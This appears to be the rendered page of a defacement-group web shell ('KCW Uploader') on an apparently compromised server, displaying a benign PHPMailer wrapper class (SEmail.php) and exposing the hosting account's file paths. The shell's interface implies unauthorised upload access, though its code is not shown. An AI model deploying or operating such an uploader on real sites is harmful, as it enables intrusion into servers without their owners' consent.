Kerala Cyber Warriors
KCW Uploader V1.1

Path : /home/truefixc/public_html/bin/dhanush/arj/fcrice.com/include/phpmailer/
File Upload :
Current File : /home/truefixc/public_html/bin/dhanush/arj/fcrice.com/include/phpmailer/SEmail.php

<?php
class SEmail {

    function send($address_to, $subject, $htmlcontent, $plaincontent, $attachment) {


        $PHPMailer = new PHPMailer;
        $from = "service@desivideonetwork.com";
        $from_name = "DVN Service";
        $PHPMailer->From     = $from;
        $PHPMailer->FromName = $from_name;
        $PHPMailer->ClearAllRecipients();
        $PHPMailer->AddAddress($address_to);
        $PHPMailer->Subject  = $subject;
        $PHPMailer->Body     = $htmlcontent;
        $PHPMailer->AltBody  = $plaincontent;
        $PHPMailer->IsHTML(true);
	  while(list($k,$v) = each($attachment))
	  {
		$PHPMailer->AddAttachment($v['file'],$v['nickname']);
        }	
        $status = @$PHPMailer->Send();
	  $PHPMailer->ClearAddresses();
    	  $PHPMailer->ClearAttachments();
	  return $status;	
    }
}
?>

-=[ KCW uplo4d3r c0ded by cJ_n4p573r ]=-
Ⓒ2017 ҠЄГѦLѦ СүѣЄГ ЩѦГГіѺГՏ